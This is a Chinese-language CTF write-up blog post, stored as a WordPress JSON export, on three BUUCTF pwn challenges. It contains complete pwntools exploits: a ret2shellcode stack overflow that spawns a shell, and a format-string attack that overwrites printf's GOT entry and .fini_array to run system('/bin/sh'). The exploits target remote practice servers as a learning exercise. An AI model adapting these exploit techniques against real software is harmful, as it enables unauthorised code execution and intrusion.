{"id":539,"date":"2025-08-28T16:40:42","date_gmt":"2025-08-28T08:40:42","guid":{"rendered":"http:\/\/lycoreco.cn\/?p=539"},"modified":"2025-08-28T16:40:44","modified_gmt":"2025-08-28T08:40:44","slug":"buuctfwdb_2018_3rd_soeasy%e3%80%81judgement_mna_2016%e5%88%86%e6%9e%90%e3%80%81ciscn_2019_sw_1fini_array-%e6%ae%b5%e6%94%b9mian%e7%a8%8b%e5%ba%8f%e5%86%8d%e8%bf%90%e8%a1%8c","status":"publish","type":"post","link":"http:\/\/lycoreco.cn\/index.php\/2025\/08\/28\/buuctfwdb_2018_3rd_soeasy%e3%80%81judgement_mna_2016%e5%88%86%e6%9e%90%e3%80%81ciscn_2019_sw_1fini_array-%e6%ae%b5%e6%94%b9mian%e7%a8%8b%e5%ba%8f%e5%86%8d%e8%bf%90%e8%a1%8c\/","title":{"rendered":"buuctf:wdb_2018_3rd_soEasy\u3001judgement_mna_2016\u5206\u6790\u3001ciscn_2019_sw_1(fini_array \u6bb5\u6539mian\u7a0b\u5e8f\u518d\u8fd0\u884c)"},"content":{"rendered":"\n


1\u3001wdb_2018_3rd_soEasy\u5206\u6790<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n


32\u4f4d\u65e0\u4fdd\u62a4\uff0c\u8fd0\u884c\u4e00\u4e0b<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n


\u7ed9\u4e86\u6211\u4eec\u4e00\u4e2a\u5730\u5740<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u7ed9\u6211\u4eec\u7684\u662f\u6808\u4e0a\u7684\u5730\u5740\uff0c\u6709\u6808\u6ea2\u51fa\u6f0f\u6d1e<\/p>\n\n\n\n

\u90a3\u8bd5\u8bd5ret2shellcode\uff0c\u6b63\u597d\u8fd9\u4e2a\u5730\u5740\u4e0d\u7528\u6211\u4eec\u53bb\u627e\u4e86<\/p>\n\n\n\n

2\u3001wdb_2018_3rd_soEasy\u5b9e\u64cd<\/h2>\n\n\n\n
from pwn import *\ncontext(arch=\"i386\",log_level=\"debug\")\np=remote(\"node5.buuoj.cn\",26447)\n\np.recvuntil(\"Hei,give you a gift->\")\naddr=int(p.recvuntil('\\n'),16)\nprint(hex(addr))\nshellcode=asm(shellcraft.sh())\np.recvuntil(\"what do you want to do?\\n\")\npayload=shellcode\npayload=payload.ljust(0x48+4,b'a')+p32(addr)\np.send(payload)\np.interactive()\n<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

3\u3001judgement_mna_2016\u5206\u6790<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

32\u4f4dcanary+nx,\u8fd0\u884c\u4e00\u4e0b<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

flag\u5224\u65ad\u7cfb\u7edf\uff0c\u6709\u70b9\u610f\u601d\u554a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
printf\u5904\u6709\u683c\u5f0f\u5316\u5b57\u7b26\u4e32\u6f0f\u6d1e<\/p>\n\n\n\n
flag\u662f\u6709\u7684\uff0c\u4f46\u662f\u6211\u4eec\u9700\u8981\u770b\u770b\u5728\u54ea\u91cc<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u770b\u5230\u6709\u4e00\u4e2achar flag[64]\u4fdd\u5b58\u5728bass\u6bb5<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8fd9\u4e2a\u51fd\u6570\u628aflag\u68c0\u67e5\u4e4b\u540e\u653e\u5230\u4e86\u6808\u4e0a<\/p>\n\n\n\n
ubuntu16\u8c03\u8bd5\u504f\u79fb\u662f28\u6216\u800532\uff0c\u6211\u7684\u7248\u672c\u8f83\u9ad8\uff0c\u6240\u4ee5\u8c03\u8bd5\u51fa\u6765\u662f\u4e0d\u884c\u7684\uff0c\u8c03\u8bd5\u4e4b\u524d\u5148\u5efa\u4e00\u4e2aflag.txt<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

4\u3001judgement_mna_2016 \u8fd8\u662f\u62ff\u4e2aflag\u5427<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

5\u3001ciscn_2019_sw_1\u5206\u6790<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

32\u4f4dNX\uff0c\u8fd0\u884c\u4e00\u4e0b\u6709\u4e00\u4e2a\u8f93\u5165<\/p>\n\n\n\n
\n
\"\"<\/div><\/figure>\n\n\n\n
<\/p>\n<\/div>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u53d1\u73b0\u4e86system,\u627e\u627ebinsh\u4f46\u662f\u6ca1\u6709\uff0c\u90a3\u5c31\u9700\u8981\u6211\u4eec\u540e\u9762\u8f93\u5165\uff0c\u63a5\u4e0b\u6765\u627e\u627e\u6f0f\u6d1e<\/p>\n\n\n\n
\u770bmain\u51fd\u6570\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6ce8\u610f\u5230%64s\uff0c\u5df2\u7ecf\u5bf9\u8f93\u5165\u7684\u5b57\u7b26\u6570\u505a\u4e86\u9650\u5236\uff0c\u4e0d\u4f1a\u9020\u6210\u6808\u6ea2\u51fa\uff0c\u5e94\u8be5\u662f\u683c\u5f0f\u5316\u5b57\u7b26\u4e32\u6f0f\u6d1e<\/p>\n\n\n\n
\u5728\u8f93\u5165\u65f6\u4e0d\u80fd\u6709\u7a7a\u683c<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u504f\u79fb\u662f4\uff0c\uff08nil\uff09\u4e5f\u662f\u53c2\u6570\uff0c\u8fd9\u9053\u9898\u540e\u9762\u8981\u60f3\u529e\u6cd5\u6267\u884csystem\uff0c\u90a3\u4e48\u6211\u4eec\u5229\u7528\u683c\u5f0f\u5316\u5b57\u7b26\u4e32\u4e4b\u540e\u53bb\u4fee\u6539printf_got\u4e3asystem\u90a3\u4e48\u6267\u884cprintf\u65f6\u5c31\u4f1a\u6267\u884csystem,\u518d\u4f20\u5165\/bin\/sh\u5c31\u53ef\u4ee5\u4e86<\/p>\n\n\n\n
\u4f46\u662f\u76f4\u63a5\u4e0d\u4f1a\u505a\u4e86\uff0c\u4e8e\u662f\u53bb\u5b66\u4e60\u4e00\u4e0b\uff0c\u9996\u5148\u662fprintf\u5df2\u7ecf\u7528\u4e86\u4e00\u6b21\uff0c\u4f46\u662f\u6211\u4eec\u8fd8\u8981\u901a\u8fc7printf\u8df3\u8f6c\u5230sysem\uff0c\u6240\u4ee5\u9700\u8981\u7a0b\u5e8f\u518d\u6765\u4e00\u904d\uff0c\u8fd9\u600e\u4e48\u529e\uff0c\u4e4b\u524d\u7684\u90fd\u6709\u5faa\u73af\uff0c\u8fd9\u4e2a\u6ca1\u4e86<\/p>\n\n\n\n
\u77e5\u8bc6\u70b9\uff1a<\/p>\n\n\n\n

\u5728 C \u8bed\u8a00\u7a0b\u5e8f\u4e2d\uff0c\u7a0b\u5e8f\u7684\u542f\u52a8\u548c\u7ed3\u675f\u4e0d\u4ec5\u4ec5\u662f main \u51fd\u6570\u7684\u6267\u884c\u3002\u64cd\u4f5c\u7cfb\u7edf\u5728\u542f\u52a8\u7a0b\u5e8f\u65f6\uff0c\u4f1a\u6267\u884c\u4e00\u4e9b\u521d\u59cb\u5316\u4ee3\u7801\uff0c\u8fd9\u4e9b\u4ee3\u7801\u901a\u5e38\u4f4d\u4e8e .init \u6bb5\u548c .init_array \u6bb5\u4e2d\u3002\u540c\u6837\uff0c\u5728\u7a0b\u5e8f\u7ed3\u675f\u65f6\uff0c\u4e5f\u4f1a\u6267\u884c\u4e00\u4e9b\u6e05\u7406\u4ee3\u7801\uff0c\u8fd9\u4e9b\u4ee3\u7801\u901a\u5e38\u4f4d\u4e8e .fini \u6bb5\u548c .fini_array \u6bb5\u4e2d\u3002<\/p>\n\n\n\n
.init \u548c .init_array<\/p>\n\n\n\n
.init \u6bb5\uff1a\u8fd9\u662f\u4e00\u4e2a\u5305\u542b\u521d\u59cb\u5316\u4ee3\u7801\u7684\u6bb5\u3002\u5728\u7a0b\u5e8f\u542f\u52a8\u65f6\uff0c\u64cd\u4f5c\u7cfb\u7edf\u4f1a\u81ea\u52a8\u8c03\u7528\u8fd9\u4e2a\u6bb5\u4e2d\u7684\u4ee3\u7801\u3002\u901a\u5e38\uff0c\u8fd9\u4e2a\u6bb5\u4e2d\u4f1a\u5305\u542b\u4e00\u4e9b\u5168\u5c40\u53d8\u91cf\u7684\u521d\u59cb\u5316\u4ee3\u7801\u3002<\/p>\n\n\n\n
.init_array \u6bb5\uff1a\u8fd9\u662f\u4e00\u4e2a\u5305\u542b\u51fd\u6570\u6307\u9488\u7684\u6570\u7ec4\u3002\u5728\u7a0b\u5e8f\u542f\u52a8\u65f6\uff0c\u64cd\u4f5c\u7cfb\u7edf\u4f1a\u4f9d\u6b21\u8c03\u7528\u8fd9\u4e2a\u6570\u7ec4\u4e2d\u7684\u6bcf\u4e00\u4e2a\u51fd\u6570\u6307\u9488\u6307\u5411\u7684\u51fd\u6570\u3002\u8fd9\u4e9b\u51fd\u6570\u901a\u5e38\u7528\u4e8e\u6267\u884c\u4e00\u4e9b\u521d\u59cb\u5316\u64cd\u4f5c\u3002<\/p>\n\n\n\n
.fini \u6bb5\uff1a\u8fd9\u662f\u4e00\u4e2a\u5305\u542b\u6e05\u7406\u4ee3\u7801\u7684\u6bb5\u3002\u5728\u7a0b\u5e8f\u7ed3\u675f\u65f6\uff0c\u64cd\u4f5c\u7cfb\u7edf\u4f1a\u81ea\u52a8\u8c03\u7528\u8fd9\u4e2a\u6bb5\u4e2d\u7684\u4ee3\u7801\u3002\u901a\u5e38\uff0c\u8fd9\u4e2a\u6bb5\u4e2d\u4f1a\u5305\u542b\u4e00\u4e9b\u8d44\u6e90\u91ca\u653e\u548c\u6e05\u7406\u64cd\u4f5c\u3002<\/p>\n\n\n\n
.fini_array \u6bb5\uff1a\u8fd9\u662f\u4e00\u4e2a\u5305\u542b\u51fd\u6570\u6307\u9488\u7684\u6570\u7ec4\u3002\u5728\u7a0b\u5e8f\u7ed3\u675f\u65f6\uff0c\u64cd\u4f5c\u7cfb\u7edf\u4f1a\u4f9d\u6b21\u8c03\u7528\u8fd9\u4e2a\u6570\u7ec4\u4e2d\u7684\u6bcf\u4e00\u4e2a\u51fd\u6570\u6307\u9488\u6307\u5411\u7684\u51fd\u6570\u3002\u8fd9\u4e9b\u51fd\u6570\u901a\u5e38\u7528\u4e8e\u6267\u884c\u4e00\u4e9b\u6e05\u7406\u64cd\u4f5c\u3002<\/p>\n\n\n\n
\n
\u6240\u4ee5\u6211\u4eec\u53ef\u4ee5\u628afinit_array\u6570\u7ec4\u7684\u7b2c\u4e00\u4e2a\u5143\u7d20\u6362\u4e3amain,\u6211\u4eec\u770b\u770b\u8fd9\u4e2a\u6bb5\u7684\u5730\u5740\uff0cida\u91cc\u9762Ctrl+s<\/p>\n<\/div>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
finit_array=0x0804979C,\u5c0f\u7aef\u5e8f\uff1a9c 97 04 08<\/p>\n\n\n\n
mian=0x08048534,\u5c0f\u7aef\u5e8f\uff1a34 85 04 80<\/p>\n\n\n\n
\u6211\u4eec\u77e5\u9053\uff0c32\u4f4d\u91cc\uff0c\u4e00\u4e2a\u5730\u5740\u662f4\u4e2a\u5b57\u8282\uff0c\u4e00\u4e2a\u5b57\u8282\u662f8\u4f4d\uff0c\u7528hn\u4fee\u6539\uff0chn\u662f16\u4f4d\uff0c\u4e5f\u5c31\u662f\u4e24\u5b57\u8282\uff0c\u6240\u4ee5\u6211\u4eec\u5206\u4e24\u6b21\u4fee\u6539\uff0ckimi\u7ed9\u4e86\u4e00\u4e2a\u6837\u4f8b\uff1a<\/p>\n\n\n\n
from pwn import *\n\n# \u76ee\u6807\u5730\u5740\naddress = 0x0804979C\n\n# \u6784\u9020\u5730\u5740\nlow_address = p32(address)  # \u4f4e16\u4f4d\u5730\u5740\nhigh_address = p32(address + 2)  # \u9ad816\u4f4d\u5730\u5740\n\n# \u8ba1\u7b97\u9700\u8981\u8f93\u51fa\u7684\u5b57\u7b26\u6570\nnum_chars1 = 0x5678  # \u4f4e16\u4f4d\u503c\nnum_chars2 = 0x1234  # \u9ad816\u4f4d\u503c\n\n# \u6784\u9020\u683c\u5f0f\u5316\u5b57\u7b26\u4e32\npayload = low_address + high_address\npayload += \"%\" + str(num_chars1) + \"c\" + \"%1$hn\"  # \u5199\u5165\u4f4e16\u4f4d\npayload += \"%\" + str(num_chars2 - num_chars1) + \"c\" + \"%2$hn\"  # \u5199\u5165\u9ad816\u4f4d<\/code><\/pre>\n\n\n\n
\u6240\u4ee5+2\u7684\u76ee\u7684\u662f\u5199\u5165\u5230\u9ad816\u4f4d\uff0c\u56e0\u4e3a\u662f\u5c0f\u7aef\u5e8f\u561b\uff0c\u73b0\u5728\u5c31\u53ef\u4ee5\u770b\u770b\u8fd9\u9053\u9898\u6539\u600e\u4e48\u6539\uff0c\u9996\u5148\u660e\u786e\u4e86\u9700\u8981\u4fee\u6539\u7684\u5730\u5740<\/p>\n\n\n\n
0x0804979C 0x0804989C(printf_got)<\/p>\n\n\n\n
0x08048534 0x080483D0(system_plt)<\/p>\n\n\n\n
\u7b2c\u4e00\u6b21\u5229\u7528\u662f\u4fee\u6539printf_got\u4e3asystem,\u7136\u540e\u7528main\u8986\u76d6finit_array,\u7a0b\u5e8f\u518d\u6b21\u8fd0\u884c\u540e\u8f93\u5165\/bin\/sh,\u73b0\u5728\u6765\u770b\u770b\u600e\u4e48\u5199<\/p>\n\n\n\n
payload=p32(finit_array+2)+p32(printf_got+2)+p32(printf_got)+p32(finit_array)#\u538b\u6808\uff0c\u538b\u4e864\u4e2a\u9700\u8981\u5199\u5165\u7684\u5199\u5165\u70b9\u5730\u5740\npayload+=b\"%\"+str(0x0804-0x10).encode()+b\"c%4$hn\"#\u8868\u793a\u5199\u5165\u4e864hn\npayload+=b\"%5$hn\"#\u56e0\u4e3a\u4f4e\u5730\u57400x0804\u4e0d\u7528\u53d8\uff0c\u6240\u4ee5\u8fd9\u91cc\u4e0d\u7528\u52a0\u5b57\u7b26\npayload+=b\"%\"+str(0x83D0-0x0804).encode()+b\"%6hn\"#\u5199\u516583D0\uff0c\u628aprintf_got\u4fee\u6539\u4e3asystem_plt\npayload+=b\"%\"+str(0x08534-0x83D0).encode()+b\"%7hn\"#\u5728\u4f4e16\u4f4d\u628afinit_array\u6539\u4e3amain<\/code><\/pre>\n\n\n\n
6\u3001ciscn_2019_sw_1\u5b9e\u64cd<\/h2>\n\n\n\n
\u53ef\u4ee5\u53d1\u73b0\uff0c\u8be5\u6b7b\u7684\u62a5\u9519\uff0c\u6df7\u7528bytes\u548cstr,\u6240\u4ee5\u5438\u53d6\u4e0a\u6b21\u7684\u7ecf\u9a8c<\/p>\n\n\n\n
payload=p32(finit_array+2)+p32(printf_got+2)+p32(printf_got)+p32(finit_array)#\u538b\u6808\uff0c\u538b\u4e864\u4e2a\u9700\u8981\u5199\u5165\u7684\u5199\u5165\u70b9\u5730\u5740\npayload+=b'%'+bytes(str(0x0804-0x10),encoding='utf-8')+b'c%4$hn'#\u8868\u793a\u5199\u5165\u4e864hn\npayload+=b\"%5$hn\"#\u56e0\u4e3a\u4f4e\u5730\u57400x0804\u4e0d\u7528\u53d8\uff0c\u6240\u4ee5\u8fd9\u91cc\u4e0d\u7528\u52a0\u5b57\u7b26\npayload+=b'%'+bytes(str(0x83D0-0x0804),encoding='utf-8')+b'c%6$hn'#\u5199\u516583D0\uff0c\u628aprintf_got\u4fee\u6539\u4e3asystem_plt\npayload+=b'%'+bytes(str(0x08534-0x83D0),encoding='utf-8')+b'c%7$hn'#\u5728\u4f4e16\u4f4d\u628afinit_array\u6539\u4e3amain<\/code><\/pre>\n\n\n\n

ok,\u505a\u4e86\u51e0\u5929\u4e86\uff0cTAT<\/p>\n\n\n\n
from pwn import *\ncontext.log_level=\"debug\"\np=remote(\"node5.buuoj.cn\",27509)\n\nfinit_array=0x0804979C\nmian=0x08048534\nsystem_plt=0x080483D0\nprintf_got=0x0804989C\npayload=p32(finit_array+2)+p32(printf_got+2)+p32(printf_got)+p32(finit_array)#\u538b\u6808\uff0c\u538b\u4e864\u4e2a\u9700\u8981\u5199\u5165\u7684\u5199\u5165\u70b9\u5730\u5740\npayload+=b'%'+bytes(str(0x0804-0x10),encoding='utf-8')+b'c%4$hn'#\u8868\u793a\u5199\u5165\u4e864hn\npayload+=b\"%5$hn\"#\u56e0\u4e3a\u4f4e\u5730\u57400x0804\u4e0d\u7528\u53d8\uff0c\u6240\u4ee5\u8fd9\u91cc\u4e0d\u7528\u52a0\u5b57\u7b26\npayload+=b'%'+bytes(str(0x83D0-0x0804),encoding='utf-8')+b'c%6$hn'#\u5199\u516583D0\uff0c\u628aprintf_got\u4fee\u6539\u4e3asystem_plt\npayload+=b'%'+bytes(str(0x08534-0x83D0),encoding='utf-8')+b'c%7$hn'#\u5728\u4f4e16\u4f4d\u628afinit_array\u6539\u4e3amain\np.recvuntil(b\"Welcome to my ctf! What's your name?\\n\")\np.sendline(payload)\np.recvuntil(b\"Welcome to my ctf! What's your name?\\n\")\np.sendline(b\"\/bin\/sh\\x00\")\np.interactive()<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

……<\/p>\n\n\n\n
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